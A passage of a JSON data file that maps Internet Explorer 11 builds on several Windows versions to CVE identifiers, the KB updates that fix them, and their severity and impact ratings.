Execution"},{"cve":"CVE-2018-8625","kb":"4471324","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471324","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480966","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493464","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525237","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003174","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1809 for 32-bit Systems":[{"cve":"CVE-2018-8552","kb":"4467708","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471332","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480116","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493509","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4523205","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4532691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003171","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1809 for ARM64-based Systems":[{"cve":"CVE-2018-8552","kb":"4467708","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471332","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480116","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493509","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4523205","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4532691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003171","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1809 for x64-based Systems":[{"cve":"CVE-2018-8552","kb":"4467708","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471332","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480116","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493509","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4523205","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4532691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003171","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1903 for 32-bit Systems":[{"cve":"CVE-2019-1429","kb":"4524570","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4532693","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1903 for ARM64-based Systems":[{"cve":"CVE-2019-1429","kb":"4524570","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4532693","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1903 for x64-based Systems":[{"cve":"CVE-2019-1429","kb":"4524570","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4532693","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1909 for 32-bit Systems":[{"cve":"CVE-2020-0674","kb":"4532693","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003169","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1909 for ARM64-based Systems":[{"cve":"CVE-2020-0674","kb":"4532693","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003169","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 1909 for x64-based Systems":[{"cve":"CVE-2020-0674","kb":"4532693","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003169","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 2004 for 32-bit Systems":[{"cve":"CVE-2021-26419","kb":"5003173","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 2004 for ARM64-based Systems":[{"cve":"CVE-2021-26419","kb":"5003173","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 2004 for x64-based Systems":[{"cve":"CVE-2021-26419","kb":"5003173","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 20H2 for 32-bit Systems":[{"cve":"CVE-2021-26419","kb":"5003173","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 Version 20H2 for ARM64-based Systems":[{"cve":"CVE-2021-26419","kb":"5003173","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 for 32-bit Systems":[{"cve":"CVE-2016-0189","kb":"3156387","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185611","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4012606","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4042895","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4042895","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048956","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053581","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025338","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8625","kb":"4034668","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-8635","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088786","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103716","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343892","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467680","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471323","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471323","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471323","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480962","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493475","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537776","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003172","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 10 for x64-based Systems":[{"cve":"CVE-2016-0189","kb":"3156387","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185611","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4012606","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4042895","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4042895","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048956","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053581","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025338","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8625","kb":"4034668","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-8635","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088786","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103716","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343892","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467680","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471323","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471323","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471323","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480962","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493475","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537776","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003172","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048957","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025341","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034664","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034664","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088875","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103718","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338818","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338818","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343900","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343900","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471318","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471318","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471318","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480970","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493472","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525235","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537820","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003233","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048957","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025341","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034664","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034664","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088875","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103718","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338818","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338818","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343900","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343900","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471318","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471318","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471318","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480970","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493472","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525235","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537767","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003233","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 8.1 for 32-bit systems":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3197874","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048958","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8594","kb":"4025336","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025336","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034681","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034681","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074594","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088876","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4339093","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4339093","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343898","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343898","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471320","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471320","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471320","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480963","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493446","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525243","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537767","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003209","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows 8.1 for x64-based systems":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3197874","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048958","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8594","kb":"4025336","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025336","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034681","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034681","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074594","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088876","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4339093","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4339093","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343898","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343898","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471320","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471320","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471320","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480963","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493446","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525243","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537767","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003209","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows RT 8.1":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3197874","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4012216","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4041693","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041693","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048958","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4054519","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4054519","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4054519","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4054519","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8594","kb":"4025336","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025336","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034681","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034681","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074594","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088876","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338815","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338815","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343898","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343898","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467697","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471320","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471320","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471320","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480963","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493446","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525243","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537821","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003209","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048957","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025341","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034664","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034664","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074598","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088875","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088875","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103718","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338818","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338818","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343900","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343900","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471318","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471318","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471318","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480970","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493472","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525235","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537767","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003233","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows Server 